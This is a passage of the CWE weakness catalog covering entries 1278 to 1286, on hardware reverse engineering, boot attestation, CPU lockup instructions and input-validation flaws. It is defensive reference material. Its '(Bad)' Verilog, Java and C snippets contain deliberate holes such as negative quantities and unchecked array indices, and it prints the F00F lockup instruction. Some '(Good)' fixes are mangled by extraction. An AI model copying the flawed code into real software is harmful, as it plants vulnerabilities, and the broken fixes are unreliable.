The "firmware" term does not have a single commonly-shared definition, so there may be variations in how this CWE entry is interpreted during mapping.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
682	Exploitation of Firmware or ROM Code with Unpatchable Vulnerabilities

### References

[REF-1095]Matthew Hughes. "Bad news: KeyWe Smart Lock is easily bypassed and can't be fixed". 2019 December 1. < [https://www.theregister.com/2019/12/11/f\\_secure\\_keywe/](https://www.theregister.com/2019/12/11/f_secure_keywe/) >.

[REF-1096]Alex Scropton. "Alarm bells ring, the IoT is listening". < <https://www.computerweekly.com/news/252475324/Alarm-bells-ring-the-IoT-is-listening> >.

[REF-1097]Brian Krebs. "Zyxel Flaw Powers New Mirai IoT Botnet Strain". 2020 March 0. < <https://krebsonsecurity.com/2020/03/zyxel-flaw-powers-new-mirai-iot-botnet-strain/> >.

## CWE-1278: Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques

**Weakness ID** : 1278

**Structure** : Simple

**Abstraction** : Base

### Description

Information stored in hardware may be recovered by an attacker with the capability to capture and analyze images of the integrated circuit using techniques such as scanning electron microscopy.

### Extended Description

The physical structure of a device, viewed at high enough magnification, can reveal the information stored inside. Typical steps in IC reverse engineering involve removing the chip packaging (decapsulation) then using various imaging techniques ranging from high resolution x-ray microscopy to invasive techniques involving removing IC layers and imaging each layer using a scanning electron microscope.

The goal of such activities is to recover secret keys, unique device identifiers, and proprietary code and circuit designs embedded in hardware that the attacker has been unsuccessful at accessing through other means. These secrets may be stored in non-volatile memory or in the circuit netlist. Memory technologies such as masked ROM allow easier to extraction of secrets than One-time Programmable (OTP) memory.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context  <i>A common goal of malicious actors who reverse engineer ICs is to produce and sell counterfeit versions of the IC.</i>	

### Potential Mitigations

**Phase: Architecture and Design**

The cost of secret extraction via IC reverse engineering should outweigh the potential value of the secrets being extracted. Threat model and value of secrets should be used to choose the technology used to safeguard those secrets. Examples include IC camouflaging and obfuscation, tamper-proof packaging, active shielding, and physical tampering detection information erasure.

**Demonstrative Examples****Example 1:**

Consider an SoC design that embeds a secret key in read-only memory (ROM). The key is baked into the design logic and may not be modified after fabrication causing the key to be identical for all devices. An attacker in possession of the IC can decapsulate and delayer the device. After imaging the layers, computer vision algorithms or manual inspection of the circuit features locate the ROM and reveal the value of the key bits as encoded in the visible circuit structure of the ROM.

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1372	ICS Supply Chain: OT Counterfeit and Malicious Corruption	1358	2300
MemberOf	C	1377	ICS Engineering (Construction/Deployment): Inherent Predictability in Design	1358	2304
MemberOf	C	1388	Physical Access Issues and Concerns	1194	2309

**Notes****Maintenance**

This entry is still under development and will continue to see updates and content improvements. It is more attack-oriented, so it might be more suited for CAPEC.

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name
37	Retrieve Embedded Sensitive Data
188	Reverse Engineering
545	Pull Data from System Resources

**References**

[REF-1092]Shahed E. Quadir, Junlin Chen, Domenic Forte, Navid Asadizanjani, Sina Shahbazmohamadi, Lei Wang, John Chandy and Mark Tehranipoor. "A Survey on Chip to System Reverse Engineering". < <https://dl.acm.org/doi/pdf/10.1145/2755563> >.

[REF-1129]Christopher Tarnovsky. "Security Failures In Secure Devices". 2008 February 1. < <https://www.blackhat.com/presentations/bh-dc-08/Tarnovsky/Presentation/bh-dc-08-tarnovsky.pdf> >.

**CWE-1279: Cryptographic Operations are run Before Supporting Units are Ready**

**Weakness ID :** 1279

**Structure :** Simple

**Abstraction :** Base

**Description**

Performing cryptographic operations without ensuring that the supporting inputs are ready to supply valid data may compromise the cryptographic result.

### Extended Description

Many cryptographic hardware units depend upon other hardware units to supply information to them to produce a securely encrypted result. For example, a cryptographic unit that depends on an external random-number-generator (RNG) unit for entropy must wait until the RNG unit is producing random numbers. If a cryptographic unit retrieves a private encryption key from a fuse unit, the fuse unit must be up and running before a key may be supplied.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1368

### Applicable Platforms

**Language** : Verilog (*Prevalence = Undetermined*)

**Language** : VHDL (*Prevalence = Undetermined*)

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Processor Hardware (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Varies by Context	
Confidentiality		
Integrity		
Availability		
Accountability		
Authentication		
Authorization		
Non-Repudiation		

### Potential Mitigations

#### Phase: Architecture and Design

Best practices should be used to design cryptographic systems.

#### Phase: Implementation

Continuously ensuring that cryptographic inputs are supplying valid information is necessary to ensure that the encrypted output is secure.

### Demonstrative Examples

#### Example 1:

The following pseudocode illustrates the weak encryption resulting from the use of a pseudo-random-number generator output.



Example Language: Pseudocode

(Bad)

```
If random_number_generator_self_test_passed() == TRUE
then Seed = get_random_number_from_RNG()
else Seed = hardcoded_number
```

In the example above, first a check of RNG ready is performed. If the check fails, the RNG is ignored and a hard coded value is used instead. The hard coded value severely weakens the encrypted output.


Example Language: Pseudocode

(Good)

```
If random_number_generator_self_test_passed() == TRUE
then Seed = get_random_number_from_RNG()
else enter_error_state()
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1205	Security Primitives and Cryptography Issues	1194	2266

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
97	Cryptanalysis

## CWE-1280: Access Control Check Implemented After Asset is Accessed

**Weakness ID :** 1280

**Structure :** Simple

**Abstraction :** Base

### Description

A product's hardware-based access control check occurs after the asset has been accessed.

### Extended Description

The product implements a hardware-based access control check. The asset should be accessible only after the check is successful. If, however, this operation is not atomic and the asset is accessed before the check is complete, the security of the system may be compromised.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		284	Improper Access Control	644
ChildOf		696	Incorrect Behavior Order	1426

### Applicable Platforms

**Language :** Verilog (Prevalence = Undetermined)

**Language** : VHDL (*Prevalence = Undetermined*)

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Modify Memory	
Confidentiality	Read Memory	
Integrity	Modify Application Data	
	Read Application Data	
	Gain Privileges or Assume Identity	
	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Implementation

Implement the access control check first. Access should only be given to asset if agent is authorized.

### Demonstrative Examples

#### Example 1:

Assume that the module `foo_bar` implements a protected register. The register content is the asset. Only transactions made by user id (indicated by signal `usr_id`) 0x4 are allowed to modify the register contents. The signal `grant_access` is used to provide access.

*Example Language: Verilog*

*(Bad)*

```

module foo_bar(data_out, usr_id, data_in, clk, rst_n);
output reg [7:0] data_out;
input wire [2:0] usr_id;
input wire [7:0] data_in;
input wire clk, rst_n;
wire grant_access;
always @ (posedge clk or negedge rst_n)
begin
  if (!rst_n)
    data_out = 0;
  else
    data_out = (grant_access) ? data_in : data_out;
    assign grant_access = (usr_id == 3'h4) ? 1'b1 : 1'b0;
end
endmodule

```

This code uses Verilog blocking assignments for `data_out` and `grant_access`. Therefore, these assignments happen sequentially (i.e., `data_out` is updated to new value first, and `grant_access` is updated the next cycle) and not in parallel. Therefore, the asset `data_out` is allowed to be modified even before the access control check is complete and `grant_access` signal is set. Since `grant_access` does not have a reset value, it will be meta-stable and will randomly go to either 0 or 1.

Flipping the order of the assignment of `data_out` and `grant_access` should solve the problem. The correct snippet of code is shown below.

*Example Language: Verilog*

*(Good)*

```

always @ (posedge clk or negedge rst_n)

```

```

begin
  if (!rst_n)
    data_out = 0;
  else
    assign grant_access = (usr_id == 3'h4) ? 1'b1 : 1'b0;
    data_out = (grant_access) ? data_in : data_out;
  end
endmodule

```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2263

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
180	Exploiting Incorrectly Configured Access Control Security Levels

## CWE-1281: Sequence of Processor Instructions Leads to Unexpected Behavior

**Weakness ID :** 1281

**Structure :** Simple

**Abstraction :** Base

### Description

Specific combinations of processor instructions lead to undesirable behavior such as locking the processor until a hard reset performed.

### Extended Description

If the instruction set architecture (ISA) and processor logic are not designed carefully and tested thoroughly, certain combinations of instructions may lead to locking the processor or other unexpected and undesirable behavior. Upon encountering unimplemented instruction opcodes or illegal instruction operands, the processor should throw an exception and carry on without negatively impacting security. However, specific combinations of legal and illegal instructions may cause unexpected behavior with security implications such as allowing unprivileged programs to completely lock the CPU.

Some examples are the Pentium f00f bug, MC6800 HCF, the Cyrix comma bug, and more generally other "Halt and Catch Fire" instructions.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1420

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Technology** : Processor Hardware (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity Availability	Varies by Context	

### Potential Mitigations

#### Phase: Testing

Implement a rigorous testing strategy that incorporates randomization to explore instruction sequences that are unlikely to appear in normal workloads in order to identify halt and catch fire instruction sequences.

#### Phase: Patching and Maintenance

Patch operating system to avoid running Halt and Catch Fire type sequences or to mitigate the damage caused by unexpected behavior. See [REF-1108].

### Demonstrative Examples

#### Example 1:

The Pentium F00F bug is a real-world example of how a sequence of instructions can lock a processor. The "cmpxchg8b" instruction compares contents of registers with a memory location. The operand is expected to be a memory location, but in the bad code snippet it is the eax register. Because the specified operand is illegal, an exception is generated, which is the correct behavior and not a security issue in itself. However, when prefixed with the "lock" instruction, the processor deadlocks because locked memory transactions require a read and write pair of transactions to occur before the lock on the memory bus is released. The exception causes a read to occur but there is no corresponding write, as there would have been if a legal operand had been supplied to the cmpxchg8b instruction.

*Example Language: x86 Assembly*

*(Bad)*

```
lock cmpxchg8b eax
```

### Observed Examples

Reference	Description
<b>CVE-1999-1476</b>	A bug in some Intel Pentium processors allow DoS (hang) via an invalid "CMPXCHG8B" instruction, causing a deadlock <a href="https://www.cve.org/CVERecord?id=CVE-1999-1476">https://www.cve.org/CVERecord?id=CVE-1999-1476</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
MemberOf	<input checked="" type="checkbox"/>	1201	Core and Compute Issues		1194 2265

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
212	Functionality Misuse

## References

[REF-1094]Christopher Domas. "Breaking the x86 ISA". < [https://github.com/xoreaxeaxeax/sandsifter/blob/master/references/domas\\_breaking\\_the\\_x86\\_isa\\_wp.pdf](https://github.com/xoreaxeaxeax/sandsifter/blob/master/references/domas_breaking_the_x86_isa_wp.pdf) >.

[REF-1108]Intel Corporation. "Deep Dive: Retpoline: A Branch Target Injection Mitigation". < <https://software.intel.com/security-software-guidance/insights/deep-dive-retpoline-branch-target-injection-mitigation> >.

## CWE-1282: Assumed-Immutable Data is Stored in Writable Memory

**Weakness ID** : 1282

**Structure** : Simple

**Abstraction** : Base

### Description

Immutable data, such as a first-stage bootloader, device identifiers, and "write-once" configuration settings are stored in writable memory that can be re-programmed or updated in the field.



### Extended Description

Security services such as secure boot, authentication of code and data, and device attestation all require assets such as the first stage bootloader, public keys, golden hash digests, etc. which are implicitly trusted. Storing these assets in read-only memory (ROM), fuses, or one-time programmable (OTP) memory provides strong integrity guarantees and provides a root of trust for securing the rest of the system. Security is lost if assets assumed to be immutable can be modified.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380
CanPrecede		471	Modification of Assumed-Immutable Data (MAID)	1060

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	

### Potential Mitigations

**Phase: Implementation**

All immutable code or data should be programmed into ROM or write-once memory.

### Demonstrative Examples

**Example 1:**

Cryptographic hash functions are commonly used to create unique fixed-length digests used to ensure the integrity of code and keys. A golden digest is stored on the device and compared to the digest computed from the data to be verified. If the digests match, the data has not been maliciously modified. If an attacker can modify the golden digest they then have the ability to store arbitrary data that passes the verification check. Hash digests used to verify public keys and early stage boot code should be immutable, with the strongest protection offered by hardware immutability.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	1202	Memory and Storage Issues	1194	2265

### Notes

#### Maintenance

This entry is still under development and will continue to see updates and content improvements.

#### Maintenance

As of CWE 4.3, CWE-1282 and CWE-1233 are being investigated for potential duplication or overlap.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
458	Flash Memory Attacks
679	Exploitation of Improperly Configured or Implemented Memory Protections

## CWE-1283: Mutable Attestation or Measurement Reporting Data

**Weakness ID :** 1283

**Structure :** Simple

**Abstraction :** Base

### Description

The register contents used for attestation or measurement reporting data to verify boot flow are modifiable by an adversary.

### Extended Description

A System-on-Chip (SoC) implements secure boot or verified boot. During this boot flow, the SoC often measures the code that it authenticates. The measurement is usually done by calculating the one-way hash of the code binary and extending it to the previous hash. The hashing algorithm should be a Secure One-Way hash function. The final hash, i.e., the value obtained after the completion of the boot flow, serves as the measurement data used in reporting or in attestation. The calculated hash is often stored in registers that can later be read by the party of interest to determine tampering of the boot flow. A common weakness is that the contents in these registers are modifiable by an adversary, thus spoofing the measurement.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data	

### Potential Mitigations

#### Phase: Architecture and Design

Measurement data should be stored in registers that are read-only or otherwise have access controls that prevent modification by an untrusted agent.

### Demonstrative Examples

#### Example 1:

The SoC extends the hash and stores the results in registers. Without protection, an adversary can write their chosen hash values to these registers. Thus, the attacker controls the reported results.

To prevent the above scenario, the registers should have one or more of the following properties:

- Should be Read-Only with respect to an adversary
- Cannot be extended or modifiable either directly or indirectly (using a trusted agent as proxy) by an adversary
- Should have appropriate access controls or protections

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1196	Security Flow Issues	1194	2262

### Notes

#### Maintenance

This entry is still in development and will continue to see updates and content improvements.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
680	Exploitation of Improperly Controlled Registers

### References

[REF-1107]Intel Corporation. "PCIe Device Measurement Requirements". 2018 September. <<https://www.intel.com/content/dam/www/public/us/en/documents/reference-guides/pcie-device-security-enhancements.pdf>>.



[REF-1131]John Butterworth, Cory Kallenberg and Xeno Kovah. "BIOS Chronomancy: Fixing the Core Root of Trust for Measurement". 2013 July 1. < <https://media.blackhat.com/us-13/US-13-Butterworth-BIOS-Security-Slides.pdf> >.

## CWE-1284: Improper Validation of Specified Quantity in Input

**Weakness ID** : 1284

**Structure** : Simple

**Abstraction** : Base

### Description

The product receives input that is expected to specify a quantity (such as size or length), but it does not validate or incorrectly validates that the quantity has the required properties.




### Extended Description

Specified quantities include size, length, frequency, price, rate, number of operations, time, and others. Code may rely on specified quantities to allocate resources, perform calculations, control iteration, etc. When the quantity is not properly validated, then attackers can specify malicious quantities to cause excessive resource allocation, trigger unexpected failures, enable buffer overflows, etc.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19
ParentOf		606	Unchecked Input for Loop Condition	1278
ParentOf		789	Memory Allocation with Excessive Size Value	1558

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Often*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context  <i>Since quantities are used so often to affect resource allocation or process financial data, they are often present in many places in the code.</i>	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not

strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

*Effectiveness = High*

## Demonstrative Examples

### Example 1:

This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.

*Example Language: Java*

*(Bad)*

```
...
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
...
```

The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.

### Example 2:

This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.

*Example Language: C*

*(Bad)*

```
...
#define MAX_DIM 100
...
/* board dimensions */
int m,n, error;
board_square_t *board;
printf("Please specify the board height: \n");
error = scanf("%d", &m);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
if ( m > MAX_DIM || n > MAX_DIM ) {
    die("Value too large: Die evil hacker!\n");
}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
...
```

While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying

two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.

### Observed Examples

Reference	Description
<b>CVE-2022-21668</b>	Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190). <a href="https://www.cve.org/CVERecord?id=CVE-2022-21668">https://www.cve.org/CVERecord?id=CVE-2022-21668</a>
<b>CVE-2008-1440</b>	lack of validation of length field leads to infinite loop <a href="https://www.cve.org/CVERecord?id=CVE-2008-1440">https://www.cve.org/CVERecord?id=CVE-2008-1440</a>
<b>CVE-2008-2374</b>	lack of validation of string length fields allows memory consumption or buffer over-read <a href="https://www.cve.org/CVERecord?id=CVE-2008-2374">https://www.cve.org/CVERecord?id=CVE-2008-2374</a>

### Notes

#### Maintenance

This entry is still under development and will continue to see updates and content improvements.

## CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input

**Weakness ID** : 1285

**Structure** : Simple

**Abstraction** : Base

### Description

The product receives input that is expected to specify an index, position, or offset into an indexable resource such as a buffer or file, but it does not validate or incorrectly validates that the specified index/position/offset has the required properties.




### Extended Description

Often, indexable resources such as memory buffers or files can be accessed using a specific position, index, or offset, such as an index for an array or a position for a file. When untrusted input is not properly validated before it is used as an index, attackers could access (or attempt to access) unauthorized portions of these resources. This could be used to cause buffer overflows, excessive resource allocation, or trigger unexpected failures.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19
ParentOf		129	Improper Validation of Array Index	327
ParentOf		781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code	1532

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Often*)

## Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

*Effectiveness = High*

## Demonstrative Examples

### Example 1:

The following example retrieves the sizes of messages for a pop3 mail server. The message sizes are retrieved from a socket that returns in a buffer the message number and the message size, the message number (num) and size (size) are extracted from the buffer and the message size is placed into an array using the message number for the array index.

*Example Language: C*

*(Bad)*

```
/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    ...
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_rcv(sock, buf, sizeof(buf))) == 0)
    {
        // continue read from socket until buf only contains '.'
        if (DOTLINE(buf))
            break;
        else if (sscanf(buf, "%d %d", &num, &size) == 2)
            sizes[num - 1] = size;
    }
    ...
}
```

In this example the message number retrieved from the buffer could be a value that is outside the allowable range of indices for the array and could possibly be a negative number. Without proper validation of the value to be used for the array index an array overflow could occur and could potentially lead to unauthorized access to memory addresses and system crashes. The value of the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

*Example Language: C*

*(Good)*

```

/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    ...
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_rcv(sock, buf, sizeof(buf))) == 0)
    {
        // continue read from socket until buf only contains '!'
        if (DOTLINE(buf))
            break;
        else if (sscanf(buf, "%d %d", &num, &size) == 2) {
            if (num > 0 && num <= (unsigned)count)
                sizes[num - 1] = size;
            else
                /* warn about possible attempt to induce buffer overflow */
                report(stderr, "Warning: ignoring bogus data for message sizes returned by server.\n");
        }
    }
    ...
}

```

**Example 2:**

In the following example the method `displayProductSummary` is called from a Web service servlet to retrieve product summary information for display to the user. The servlet obtains the integer value of the product number from the user and passes it to the `displayProductSummary` method. The `displayProductSummary` method passes the integer value of the product number to the `getProductSummary` method which obtains the product summary from the array object containing the project summaries using the integer value of the product number as the array index.

*Example Language: Java**(Bad)*

```

// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("");
    try {
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    return products[index];
}

```

In this example the integer value used as the array index that is provided by the user may be outside the allowable range of indices for the array which may provide unexpected results or cause the application to fail. The integer value used for the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

*Example Language: Java**(Good)*

```

// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("");
    try {
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    String productSummary = "";
    if ((index >= 0) && (index < MAX_PRODUCTS)) {
        productSummary = products[index];
    }
}

```

```

}
else {
    System.err.println("index is out of bounds");
    throw new IndexOutOfBoundsException();
}
return productSummary;
}

```

An alternative in Java would be to use one of the collection objects such as `ArrayList` that will automatically generate an exception if an attempt is made to access an array index that is out of bounds.

*Example Language: Java*

*(Good)*

```

ArrayList productArray = new ArrayList(MAX_PRODUCTS);
...
try {
    productSummary = (String) productArray.get(index);
} catch (IndexOutOfBoundsException ex) {...}

```

### Example 3:

The following example asks a user for an offset into an array to select an item.

*Example Language: C*

*(Bad)*

```

int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("User selected %s\n", items[index-1]);
}

```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

### Observed Examples

Reference	Description
<b>CVE-2005-0369</b>	large ID in packet used as array index <a href="https://www.cve.org/CVERecord?id=CVE-2005-0369">https://www.cve.org/CVERecord?id=CVE-2005-0369</a>
<b>CVE-2001-1009</b>	negative array index as argument to POP LIST command <a href="https://www.cve.org/CVERecord?id=CVE-2001-1009">https://www.cve.org/CVERecord?id=CVE-2001-1009</a>

### Notes

#### Maintenance

This entry is still under development and will continue to see updates and content improvements.

## CWE-1286: Improper Validation of Syntactic Correctness of Input

**Weakness ID :** 1286

**Structure :** Simple

**Abstraction :** Base

### Description

The product receives input that is expected to be well-formed - i.e., to comply with a certain syntax - but it does not validate or incorrectly validates that the input complies with the syntax.



### Extended Description

Often, complex inputs are expected to follow a particular syntax, which is either assumed by the input itself, or declared within metadata such as headers. The syntax could be for data exchange formats, markup languages, or even programming languages. When untrusted input is not properly validated for the expected syntax, attackers could cause parsing failures, trigger unexpected errors, or expose latent vulnerabilities that might not be directly exploitable if the input had conformed to the syntax.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19
ParentOf		112	Missing XML Validation	261

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Often*)

## Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

